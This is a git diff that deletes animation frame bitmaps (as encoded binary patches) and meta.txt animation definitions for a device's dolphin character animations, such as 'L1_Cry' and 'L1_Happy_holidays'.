z2Q4h62Pot!f1d1FeDD*zD}zBJ+Qqm*>WuU}745z8#Xd@B*!Y;)%V)E)l}Z{$lTE==&kxd&ed~{#*&6c=+@X{`Af>@ zOGD93Ti-4170XD=v*KJ(Y*>0t=(8kfrf{D!TLrGqUr}$Cp@ePuExPdalNZ`dsD-r8 in?r|oA0o2lG%nSK^SznFf@KnUs?wiQ+WepN-~R)iPDSnj diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_3.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_3.bm deleted file mode 100644 index ba3012b7e5a476c4d58f100bc9a8ff16e28a31ec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 923 zcmWN~-%lEM008j22iDH-bR?NuJW+c(CdW#W3JB1r=X;5%peN8vT34J+c05U-O*d;@yWx$5HozO?*(cecOtOb9P@p&`EO#ew@na zA3d|`+nnDFC=`LL@xGU#Q-aOc{WA1oLf2WZ0v+KD>BoGBmG*$@B-G^>o+sRlhn%c{ zB^Meq;rJcjFILI+SDWBn^`8+ebdPSo+!hr*%m5LwJ)tE#`=PJXX$c48%ScpWPsb@f zQVOwuJ!D@Cj&!+_o`4ceeu1?yH)k!-89iw`q$E4l-1|DzJP2Nt^&32BeE%E#Oxm$s z2ieoNC7@>%U1)NK2wxW(F;-!UygG|yqe6E=PHvkjw^S!ms{tzvl`b#BH>=s;DvesW z{{MF@+^631wT~~yA0y#YoZ0b*qoA)z2q9qZ0aqRHZuk_+>-$d*SBIEt3sFJQGYJFC zWNhCR8}l*DsiLtQeQtQ{C|7UnYb)}6(q+_1^G3L(P2WWTeSIFt>8UO995IS0!gRcK z11cncz;~e&6BZKJnWu9|^$5=M^u$mWD!a{DofF%g8yP?NIZlzXTkCs6_Ky+biB99| z>Mu_IIu|64`K>-zp*U7DU3^I?_GJVOb{mU~0g5BVauYn)C2d1Sm1#R(F|j!|x)0L} z$d#~l7V9&{xNnK5Me$?o9W7D3_R(tZ;}CfaMXJm6jE^03Ve)Rgh1WLt7(e$Gx#lqr zH9pCYq##jW<02w^PfxVq_dp}hKLDj-3H0=|&O+C^3_&TkO u!B>y&mLZ0pg#?B-%Q>X*d-qc`wX#V$vsWyO$N#~c`oU33;av~mpZ^Cg14kzS diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_4.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_4.bm deleted file mode 100644 index 1ce28c7adb733388b90d31ce7bc1d5e8a5998ebd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 894 zcmV-^1A+Vj0D1#}QXrB{1tLKaqDU~1NDLxH1(HIc0P%!K!Q(>2$RZR721bbxq)8@` z08rs5fbq~&q!=1RRsjSSh}dBuA);uaPzV$z3jm-|P9nz~L_$Pm91uKUFjy2IL^!V}{~{_Hpxj^)EDQpmbsSgo z|BsPCQDe+Vl!7HlfWf2i4fGlXM37=i0zDXoCjrEPz&;RIhcNa~DO46E(13XeL%^cM zp)^PbAoe2xfMO}W=V}K8gLXqMJ5Il1yu>guJWSJm(@FFL)gveqLix52pBLIaS%2ATcSpn!e6j;Fr zqbQJMECBPsNKs=7J(Vs2kPoH;14w|L%4bqzjL>o?5f6?e_Hrr|l1KSZjQAc|0*Hvk z{xAs?+g=G8r&DRN@aDL`WVW!2lE(9w)Mhf(H@!KcpD8G72RMBpWM;Jt)BP zhEX6=7$iz!A7m)vL4ye*3}hHFz!1Z*IKx;|QifF+lO)Bo63%I7J2t2!!3I0Ryrg$^jCf zz#&webR9w>p|T#v0!0w`(IF=BpNq?gXc$rKau|pt26^C*gUd*kc%7yW>EmNf6W9Z91RfmQV4{nAz{7?M0O{Eq`@%&afrxd UkMj?d2=*|_Op+oi5P6M82x}2S2LJ#7 diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_5.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_5.bm deleted file mode 100644 index 4cbc4968951c8b4391c7da7a5a90cd8bacf4b245..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 940 zcmV~$T}&DW007|Q?l?|B?+4tlrFdKqi%ys0T07Q2oE;wbWtuP&H<;dtx?j^-axY%(8X+J`L~)QX_U8Z9ud{ z$>+pFOveYBQn$Ug3U1KaRUQgZ(uYiM9tjX|W|ir+Fo9Y)A60z&614IFo~{;ZsB}8G z>lV(_4p<4=ne-g*jG*{J0+%vKmTWQl?=Wl73gna`S8yez4&Y5;6QHw*o+PKQCFA&v z>Pn8iUM(WsXR1McYhBpj5T?Ofj+i(w^$Gb{Ekwr=Is_ETi|tEL&i{bU`kj`qnA@X* zX=_^{16!p&47ymo~9}?nvBU)V5th52&`>CH?B68DV_ue1Z0Y|}sd=m`$>P;`B9+>0-W?$EqiBJTcng%6I^rVw7^)5R$I52k`b+v zsW|0TBE|14D?*WL1Uy4#3HSV72k*TeC^mH(2tjQ@ZSG*QJXb`2{^qI`xVFX0<8b;% zmP)O-#cf^Acbh{U8iCEDUN^R0h|ETfH%SLxgf?)!MN4N%HAqu`sbLpJEQee!=Y(jx z!pn)ifOOH=!N*2@#*^ZFd65lMo;VrOJ-3~%ToWkP`jF1zqr$1gpYtjm$<0xHG;zZM z41JE?rLW?8qYcC^yFGDEsz&U3u`j)=J7EwK?pjGbD?WV#l@A+cr3z)HQeU^<#l+Y? z83vi*2yFRRvr{knUi6z4wRpkx{Bko}zj<9_C`Bl<74CpCUyj%z`yJJ;uFFy3Sx93n z!EI6w?8KE2M@^r|^$bJ!ZueAwv+R3o43$Q@c59@yIB<}S(QgCS`Ah+`4pKN*C3`>G z0X8>G&wvTT=3%QIDWs|SP*p$BhI*1@^CH-6} z8sRvjnX=J@Zeneb(+ySPWJmCLTJss|d8A#+48_@t=YLJ&c;0kzj4P5zIS<^Ydb;0CV@8DJs>ST3f;!oz4Qq#njP8&mm z4|j#EhrP~gN6cL2($%IhK9#u#qYoY{?dYOrGj2g+A}O6SW-+iX4O`;o_kqBt3O?#Z zy{|zO%#%O^lPe|j2@k}h@-3jD)Eb66(Rs>kxy;_2fAg?}U|V56H2x`~b>r`_QP_da$rUj{+@SF>ERH?Ar$xD$G(q!Iu3& z=AhSa?sDtyU3N5nnF?^=HMz#d(oZh_^?y;GZ^^YCx=uUhb z*rJtC_V9yegYZ@iTzB(ns?pDdzih%yBL3cf8-4BqxkJ_++E*{}i9*;dVIpiD1mvdE z7c&Gv=0mgY!jG2}o8T!fF{&x$yNAduRwusRC`s&?xnPMca21^r2;Bl6PuVQ>DsI!# znEg$zz1fjM`hf1?8vwSUP?n3h=8o#pPa$u3W)0G_ZgYb!n{ZWFLE1pI%<$1kyQGe%XP&cIJ^jLqS-rA;12@yr8SeWpszx|iGk7$a@z0+K>dJOmfhpA^% zp`zMER+wYtqd7%o@3dATQi(Z<_=sxZB7EJih4VkW(?%qFfF-MZ1NfD~P3uoAnWu1Q=4FIwVrhUItE9sJ{Sg>VWYLoBNZiP&N0vi{VmU zlo6L93Ggo*x&0_h+v`^S;Zz!yC`rNTB(T^K%_YPMq-) zLHj8>d8J~H_}h~|L5QoC+jNmv$*&xR0`YM68=;J;7$Ad_T{PAmg|^g1?JA<;o3aAwlK%8M1$Hce;#> n8<&_P_`=$s9S@Xh?bL)CyiFcD^mvAzRDm-T{+8Av+L!(ZB@#`e diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_7.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_7.bm deleted file mode 100644 index da28419fd279dac8ad18145dc9a1385df41ce7c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 934 zcmV;X16lk50HOnsz-kZ(M1mp+97qUo5J?0QMUkjTDKZEx3I&0PKp`+d(7=O31fa+R zBLalLU{HW~;-FFtKon{cAQ;53p}~MeF;oZ^A}JDzNH~-MaL6i9ff$3v6Cr_7BpBKt z;9!voNZe?YD9})NluS(mB`Si%xCF7F4h91dz|kNai6n@6FalXYDpCm~B=#VYkV6c@ z1rwOWs1giFWN;_4kYJz^oJ@jCN(Kq-AyP~fLQw#qz-U4tg1{pOvVuV(GMJSH2|}bq zFbA=KKygr+Bt|k1875I^FcaA=&O*l;4ImyzvaDb{pZE-lg#gGJ#(^Z2Kuu!+{(tH6 zD1?(B#Suuo#z27>`~v+Vkw_vCi4H*aoQNC);R4V=HWdg16i;X16ORH4C=-~%G(eF( zl)wrw2pp1;B!IMqqBy8Tk}?k{H4qLl3LJuxe-qflLFJ63LM)mXlRQWx37|p2D$)hA@jDQ|FpU6CaMgfJ$u_5tN3?zy_5P3yl5jYkGK>(#mBQ7Dh z1IFYZ7?^x%FbWg`Bn%(KA_3%xz#`Bn5Ugrc2o#0@k1xQeV$eol&@zyK_`xOuAr_1R zO$CWkF#z$ALZCk-aYG;wWw_+90Pz$FFjwXe7zBeQ0NN=9sxtt3z`^ARh{-8f2*5od z$FVFH0*M604#WU->J5l@XG35XnzfWlGC6#_vJpg<@v2vclh5FmMFi(|1VjRFZo z2Z)3~12i>^kU%mF4k8H$;0uTzSc*WHWEltq67M+R1Io!1h|)9=C_n^YnCL&?9&&(q z*su_c6e3V>8TdT7hq1&_Gy(C5$|oKN=!4DxtPqgNA`%~`{vHo3B?>_iqF6G3L6G=A z@GyCz#vz2H90ns0uz$_x1O*HR6F|sHBvmT~@qTba*ubz92!sX&5VJGV2zeP6BY^^- Iq{he(P&v{|ZU6uP diff --git a/assets/resources/dolphin/L1_Cry_128x64/meta.txt b/assets/resources/dolphin/L1_Cry_128x64/meta.txt deleted file mode 100644 index 43b4603d4..000000000 --- a/assets/resources/dolphin/L1_Cry_128x64/meta.txt +++ /dev/null @@ -1,41 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 4 -Frames order: 0 1 2 3 4 2 3 4 5 6 7 6 -Active cycles: 2 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 2 - -Slot: 0 -X: 22 -Y: 40 -Text: I miss you -AlignH: Right -AlignV: Bottom -StartFrame: 9 -EndFrame: 11 - -Slot: 0 -X: 17 -Y: 40 -Text: my friend... -AlignH: Right -AlignV: Bottom -StartFrame: 12 -EndFrame: 15 - -Slot: 1 -X: 2 -Y: 29 -Text: Why are you\nalways away? -AlignH: Right -AlignV: Bottom -StartFrame: 9 -EndFrame: 15 diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm deleted file mode 100644 index 8558f0f5bd29c5b76d6c222d7c85d52ab284e154..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 294 zcmZQ%P-0}LU_Kzn@PWO-hVcPEGKca1{|5=LKR6@^KBzs%;QWF8js=SaV=L1IH3#+w zjC=Wa$Lk9CK2LLbCB`HWC7-b4J-I(2#5*^aR#jFO37OA^}lG0 z+|rGb0(J=^42cT^7&dV~QQ$D>eXOc_{ROn zF@fr@3~l#CYqA>JnHt;}--j?xV@OjHWH4R8=5nZ+`OXCc$HW5%-!TYew6i2RaBQex qY<|G*k(2y_nIWe@{^$!y!>R_h^8##l82@^(f12R{$K;eQ(miEr(rzy}T-4@vmuCID3D#ndPOCK}D<0GEJ3z=sR83SEjo^TZX!IK-3> ziNINn5C^BCGGK6e{VeAfmnYNr-w(X}2yp-9oF4V?A^-pJuzS}*>FzTkF3V*x;2tB9J0MLWRxxj&o+Jp}~{F*?nWid2Jyde1>pZ*FDh=qV2UziX+ zED^wYUSK5g2etzS1TFe?zy&~B9{?XR02xcc=YWHh6b4apN=5XjI9KX?h!Y8XA|2#F`05eA_3Di@J)Nb`;Ym%t`9dA(X8 z2xA!h!RrWO7=TX<4>Yid1Rr#W1wpVVVUYvoKo7<-s>ojD@ogA9WF`fO0g{*xBzr)@ zLIoR`JYp*P;9np(2!R2B2Oz(L#EyUig8+xIdw|dZ_vE;P#t1?X1b+8pA;ANu0sP;Y H1;juD{u;iw diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm deleted file mode 100644 index c91ed2fd23efc317a9fec7f9244f5ecf26bfdaf6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 698 zcmV;r0!94+0JZ}EfFeKmfrIjX59|Np9uLp{LL3k1U_W#*kbcNuF#vwR<^cS;@vIO) zd(Z#CF}ve9B@qX-JRV&5#tfn=$M69PXF`dC-_IZZ0Sk>X2aoI?k-rCw2tNFDh(7RG z1aJsF{OCR-a1Q{$x3&;_+0i069sK5s4--KE3qB7Yqr`7u@&FI;)>rrp1JI!=ED16{ zi|2eOP$&mL2sL^*JbV9r{(!)9X&8`x@E~~0{Q&eFj|1S45O~kx-2i$rMgb51`=XFY z{7@c~_&7X%AB}K5FZveQ1B3uPee_r!fBx`1X5jOjOTpql6S(+u|M*Be_!7x95WXpK zPLKW!4>$%49$ov|$bZxR2|R!U30bH0tOFAfIQ$(2*5D`?RtQVL>}ORfY^cfK@wo4#6MrnKs|tmU<0WTLH;XP z27sI(^o9V%@FvkNl$ajh@M$c>{x_Jwy*v;P#4Z6m2#gaC7YC$sfA@mGI8b;bBL5Hv zl>>p}ulg3lJ^Tm<|BIl5$ALfoSM3lU2l@jagnjXN6H#zK_4KgJKlR@P9)Acv7K8uq zuhJkK&-_qkJ@}dkx*z}k{!f7M-}}L#m&pO;={q_P6AHB35AhFN`%)TJ2HpaDrD0~`qk(=2CEZ z0f)!)C5Sy^VDfDd6n=P6c!CNF4@>zJeV5sIJm5g`(0}*gLcxQ{tS}II8iWXe@eB|E zXaM&oh#-OHDi9%W;4^FixNpGtzyG;6_}9XI3LFReE(ABI%&-txX8^(=_6Q6zF#`F| z%pwXHSUm6OQH)?em-v`H|E9r!(1@c42fM^ULUj;%Vgc))|K1Fy>Kb?a9=!ZL{EAT6 z1w0;~ugGj@5C#axa1?NQe1YPw7#HjRdiZJo@l^SIcmMtl`T!3dm;X)wiUZI8-@skq zAn}sVy5IRje7^$Wz<=Pt@uKiS==&f4;{o%GgT|Nt_kZdD@qLIqwsLTI)$jj*{(v4o zPrv8!!7vCsb@%_@{(}R60SDkA5P1JeqyPQ^#q2GC2cG?kAOw2~a6#jN_us+G|A+7a f<$u2eTmSC}k$89X5PN_N?%5stv_aF0B#1shQS}MQ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm deleted file mode 100644 index aa5353e988d02785f45759a024931abe7d580086..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 584 zcmV-O0=NAE07L@+fII=<4*+-rz#ahb2Y@^IANT|F;Rk?x!S}#`z&(Kbz(C*~0DZs# zKZbz<@kP z-_ZGk-W5OxmVe$YUN}5vRseX=FaHn!_#S((c=Kc+^8fh5iJ!HD#(O>ojswBL|KI=9 zyXAl$Ey0L`%fG>Z-}v0Uoqw17zfWUvCftXMrUwwc* zFdOIv=nzr}54)K^iv!95wSa!G^7S~tJCHd1P#$^^c)jswmy;2(?+ml*DY%6Tpaje?1R4~z?+C+R@JB71OJ%^j$i~g#Q}fdP!0e4@$U+bI{^s# z3(Nlv;0TA07lYt1>XG_?f57p%{4ekc#4b7D#lRpxNFUrDAR+mp#tHC`{fFbU28aM| z{|{g!U}Yi1z%rjedF|ox@OZ&E5DPI#e_na`JbB{LzW^w(J#=94pcIrmEe`+y diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm deleted file mode 100644 index 837c6c71defd8be280776e7881817fc68276b5d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 zcmV-o0-gN<0A2$B|KVUk{Q*P)Fi?2?0rvt2kDwoLFnIg{_W=j^KOjHgdBMT)0R98a zDj@jq1I#KQ_}~M|;Q;Id;{Xp%fIlVx`hWxc9=`B>kL(_GhKz#+o><3>gVG5B{Tt>8 z4;U5;!}CwXJVamY_&z)lfe}FLAMe0Dt_H!Nasoqr`-9r~&_@VJU>l>0Krj6W95O)w zgJlpe;FN#haR>y*&>wsRUrhppDF-nZ{sYsG|A@(;VDX@2Js+@oPGA%6%nc+tE0kSi zuxJH>Lj(tm3qcDYD|B!X2tYh=AoBP#)&UWmL9h@2c-lSS_KA8RbO;895vb?`+9^1J zKqL|g{UbmRX+$ywAO;Ttt3U_0LJkiYg@OTE2b}yKQ3wz`aF!;BgU_B1DFg(5A@ZVV zdEoJzgVn$w5#o2S;PHin%RrqGp+G;L5P3mC<-mYJ58@9VCwyLBV0pmdiSdjD2SN@Q z8NBEa$N2-wgZ=&g0qGDH4O%!v8W;Zm|NDc@SRg@@1ImB)|6{@DKq!m?&N3Yo|NZ%| zgUlq?4N0o0xY&yEj|qzoQt^FED>06iEa;GRJCuV4t{^!eXG#1C2(0)+vGdoW=5 z-AFJnC>}#T4`yhz^{KA$Q(_^4>({vevs<0996^* wNHeH?5Gg=DU|{j6KxP1O`UB1b0N_Ay5Dfv)f$A(Dg8+f^cz{o!766F@+?Nvri2wiq diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm deleted file mode 100644 index 4cb6e53325ca82bc1ba52fafee1ac42a1860a50b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 719 zcmV;=0x2edpMFaQvP#()oKH^LrM60rl^I503^{{iLsHy|)^ z0P@TO$c~T*6avV`F91BQ2NQrnAQ7N>U;*j-2b3ZK1#_7gbPDB+U69S%_nXL) zC-VRZJnv)jfk2!FPbpLAzn>Mrz?udRAJnuSUypGxMd<{tLA* zrXFq&{(Uec2t8nMZU^Um&;LikL=Pb#gU11WpyB_e!8i^9U?f3-fro8?!+z!9@{kxt z1Au`*;1$q#@xkK^fn+M+^1?tt<^J!N#5gpGLDXAf4;s)scmMbcfMkji;6cIZe>Vs` zWDyAj0>L;3j_JTF@t8;f0&ac3Iqm7QxJHZ1_AZpe1D;lp}-`8@&O7E zf4~2Td|(6-v^gM1u%*MM5rYZhlmIgItVWU zM*v6&Tz~M)@I2@cw)t=ZxC7z zA2bOE00<&62h@N_MMD3>!RtVd0SE*!_y@oqya2gi1HuX-s!%Wq5(kL{%Bg_BK>)`F z0hGWVuplXB7K?0mW9)pqY1KH}Ok%5B<9%eKGis(y(512t1 zV1o5Im^_lA7$AJa0isACd4S9wN1+GifZ8p>2hD&2D1rsA;Y>{dhy%&&jsbR%2w?#C za0n!fqF@vd!9nLh_()r-01$a420;v=I8aJZka|FG^IL|R3GfZ_(Gk1Pbd4kST{ zMsfi11Bg7X2ZO{(1R}5@neYJv=m)TLP6L3zL7)(Ddpk-XLm%(`ia3bCJkmrDD-itP z9{_m_j2T6gp61a(gZ{ZM1zPgjQn6h8mzDgPw@^3 zz}F@lG7%UECQ4EVmjV2M^?I5VRtF3sqyij97+5^uQ9ycvN8SY{0Kl$5kq4*%+69tk z2m(_@KO~R>1LeVjgXn4{VF%kx+rka7e&8S}(IJomV8H&oCqy1_6AdOzA27gr0I%$+ AWB>pF diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm deleted file mode 100644 index 02af0bcf325201270bdfadedbec283ef88d23ca3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 400 zcmV;B0dM{R0E__u6hI%*fPX>)+z)6lKcGPUz(7I#PwD_arU3pz{4gKTMmK;k_{2d3 zDe-;_GJ(K9|L_=t*8Igk0EA=6#lS<%$2b$10XzUQ!9pRyf*1$@!z2$7S_H`=&>jM< z!s7x5oq?9d6#|P{0)!VvvyBn0Ld9!N0es2xXIKD?hHNkcf>bJ^nHs1)f5le^scc3> z4<_k=4fG(wLZAU;7sx;mVIRmiJ>nnuh!AlQc;G$qANZIMe+_j29wYxF0t`96e+YOy z`5!qud`_ZP5CH#(h7U6`01AE&KlnW>;6u0r4{JaeiG>Chtc7q; zL13H+9^e56h;T+EH$XAiJOEMf2b8WMQ;(nw0EJZm6mSf&0DG5>a9{?&7mP;0180j7 u0|XCSfDp`V06IWm_y=K9vXGzv!6FDmf$)kW1cS%`P~bR%6du3>^KMRlm@CSfA0hhpbq?iBy zfrHw>1U~>!W5JH5eJR~-y#2rfd}y7oJamf1Q>IQc^^4Dd`_ZWV0xQm9$)Z!SHb(hAEy8x69Iam zOBw%{f(jT9T;K?EQ}fZl!RiVqqNK+He{2K-RC^G)$P4e(0vmi)@u~tG3IP}gy-;dn zF%XCWtpGA66d7V;Ljw#DSa2}=fCL&L!5EMNEFJ)0_yN)z82IHt7aRxi1V9;pFHiv4 f;sD!#KdAuzRg>(&`v8E*0s8e2eMA64*bo4KNFID{ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm deleted file mode 100644 index 94357802fc84c61ff65389b3e8e592c882f7dbf8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 351 zcmV-l0igZ?09ye7cmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 z2i!OWI01zM&?Z0!-~kRW51RlG<^cHxAW;AcDnX(E78q1Oe8BN!R}iTkwCZr_kd6iL=zu`d>--(%?dhyEu35Rdu>4}3@dMx-zKoNNH~<27iUx!LC*lA+s1!%z z06$O$N8q_n<%^kOb)bFk~5wa1*0=zys#M xtsVp)fDe)2|J%Yg5C*>#0W3lQWN;tNQvg>1!5{>@3%Md74DbuO_)Y8hDgXv`km3LU diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm deleted file mode 100644 index b0d0e691407afc3067f1adb44437407fb75e695b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 324 zcmV-K0lWSI06+l%cmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 z2i!OWI01zM&?Z0!-~kRW51RlG<^cHxAW;AcDnX(E78q1Oe8BCSxu9Tz!-0d`03gv02*iL9VDJM6zz&eu$Iu1<*x)~l&@y86 W01ciX4Y&jPkPqb`gZv-h{{T3j6M%aF diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm deleted file mode 100644 index 3413e507294a89aad208259baae4b7e14c2fed36..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 387 zcmV-}0et=e0Dl1hcmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 z2i!OWI01zM&?Z0!-~kRW51RlG<^cHxAW;AcDnX(E78q1O89{;T1P7!C`45Bx)GV+V zJmMe^SP&IBa2WtSlS^`dND1uC5CO)4_5N5S{2t}8859eE4|oLt2{}X@+NBsi_q~snrkNk~DU-LNF0ppx47bE8< zU>E)9K=FoP%)$>&1^fm#3k0eihX3V`WjVd+2l)@g z1Jtar7(C)2rw{?afT_cP$N}t{TakIiA_Yj$KEKNZpM%`CBO-xt0q%z*kc7wK9|ydG z`3MP@;vNi1zzAX=_=^y~kbedK%>c|wLF17B#NYxE|3Ja%IR}m-|07Zt{LVH2c;^d6 z$oa|G1^;>wJYkqKFoV;9e*ulc!77Jg!R7x4mw^0Ji-f8S-5`1&jy*V#LDb?8Q}K8q z@#usO7z!L`{$2zV@Poz&4u%8IH9tm)_?6E9iUx!LC*lA+s1!%z06$O$N8q_n<%^kOb)bFk~5wa1*0=zys#MtsVp)fDe)2|J%Yg k5C+%*{KOyzM*;lRFa>ZN5&%oUyOJUR&j7oxgxI3xgWa$Lk9CK2LLbCB`HWC7-b4J-I(2#5*^aR#jFO37OA^}lG0 z+|rGb0(J=^42cT^7&dV~QQ$D>eXOc_{ROn zF@fr@3~l#CYqA>JnHt;}--j?xV@OjHWH4R8=5nZ+`OXCc$HW5%-!TYew6i2RaBQex qY<|G*k(2y_nIWe@{^$!y!>R_h^8##l82@^(f12R85=KBE9Kzz`}J1UMKzV8BQKC}{+U0724`4BWs}hy&t)1xbKDEC5uH1K<*& zRTR5KMyg4E8C8uffcQXg0QiI$i}?cw%4DP;=sp7je+RS>9*_@-1=%GK{KMc8_mjYZ z>eUyM1JC{s5HN$-3_$!F5IoR=C?I?Pf%_N-od6!d0-8@2g)j%qq7d{bKt5`UGE0a) zbq1q=o7g^JqF)NVgXRh;0{y@RP&u1@&}{^;1L=Bm0DZv)qLLs4#wQR6U_Sg1ba;d9 hyh!N)A-cc^a0l^w00j;Q@jIEc5A$+^{2$%`d;q4lY*+vQ diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm b/assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm deleted file mode 100644 index 114b26391f8643130725f03b5209d97ec8e791d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 312 zcmV-80muFU05kyrcmu#50PqKZJOSVj0C)qy9{}J$VSx>WL;?FSkOOc32Y^r@AJ6zg zZx9F%f(HPHgW~}KfkyzNa2Lb^4S){_RDtggh*$vU0tdhTK^Oy^5FZeDFdX3k_{WZp z;FNgzz<>q#kb~H^GXOFDBxnd6r_zQGf^u~z?r{gO9X^zK;9Vc&1y3g)261O<@i6EY zJS-vXAoYj=mJsj|Ldq8l&;blEKCOi!lqlUm^1wnt34j}{f)QXGEdl`)1Ej(@IC8r1 zAYk=-xgo*uNEd996aa-)W57N~3{_FYl~hqM61xf{{eTGI0o&ki(y)of90xeSK4K_) z2dQviVEsC|Jjdk(up4#=_JONI0s9aqI03v1&Y%PP0L{2Vx5I>AjsawYgnx+xAb><* KfO)#k4i8}640;Rz diff --git a/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt b/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L1_Furippa1_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm deleted file mode 100644 index a3731113d7eb0246f9931b91523c4a2abd59ff40..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmV-|1AY7f0Dc4ifEGXC1TX=m;QpiV0EGb;4wtm-(tiN(1Ih&%EWwfuTUCAfb>0&k_Hoa4-Hr`1pVD zItS!tF$kyrq*5Ox9t9DAPcR_zutGoI{p<$aM1ewBSKv0Fc)>?PZx{^Y z!3PJA{|{#epnPICgs6kZPlUhWAcLU?l*jSF|IfkYaR-Y0f#Z1eP(kPP2bKr_0fPg_ z2}l0}&;Or-SYQ$0c>f@j|KL2Ph+%}pk3$Fe|Dco4$NT`0m{Z(g{~h_1ehV@H5Imp| z|CIj*-w=Ajf#nYQN9Yg}fPfMw1P6?B#UH>8NB<*_d0`xQyc2;ijCmpAlK=cL^Z)0D zFFwFW;~YSFL^;~aG=^8%!l%X`7{&w2QOwcDyfThG6jD(P;C%BM7-jxZ!;*qV4KU6c z&*9;R-~SvrI3QsY33MJEIDlv*F#8-MholV*3SlOL#_Ny{27(Vi+;D84hy(`VC&9^a z$N}&`pZwv?? zVe+^{J-+`B{2navACP>y5kGH#f&K@kf<_-KhyUMy2an&69|wNoM<7#)$B&o3qJz)D7lg<>un>63L+HsL_x=+Qg1|qQ`w)D%Uif|k z0{{n{4+2aO`FlU-0fEASUnx{AHL)gagS9kU?k=55yi5{GsrKf~y$hBY_T( z1H?WgF~2qlUNH;=#2!BY`9Q?NnH=;2!C>%2XP*H1L3jf3huB~k2>-%ALim6GC9(e> Yh7l1FiS$9_nHu3dU|{itgN5cG^5QF;&j0`b diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm deleted file mode 100644 index fc065836431dfd863a8009232f1bcca4c862cbd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 893 zcmV-@1A_bk0C@xdfEGXC1TX=m;QpiV0EGb;4I}>m`~pi+K;-}7FhTK2C-4iv6nq#8 z1p)yHfdkjz4_pKg9+B{1jfcSkkkSF`l83-J5HNV$Bh^57lZYO82sk`(7z#)|fr9`E z4}%jzkptHw3y?q~!1Aa{un-`5;$Za%1n`76JS0Yf4<7-rc`y+8{s=`1giyib9N zf({QK|33Z?K={Nj2~h`*pP7HgK@Y+YDTmH!cYGJu>c$<6z3R5M;`@;d?4#W00=yw z5ZshM2E-70!hz)ui9zTP6M%pcCjI3jqFK;RytQF~~;(9Uy>W z1L8v$K|}@P5Wr8t+B}z%UX11b>C_|Ncv3{(*_27;T4;A diff --git a/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm b/assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm deleted file mode 100644 index 04984ed0df85526fe4bae4a15e92a55a85fd3414..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 901 zcmV;01A6=c0D%MlfEGXC1TX=m;QpiV0EGb;4*gcNMhA=z9RLTOBmYePU;dQ% 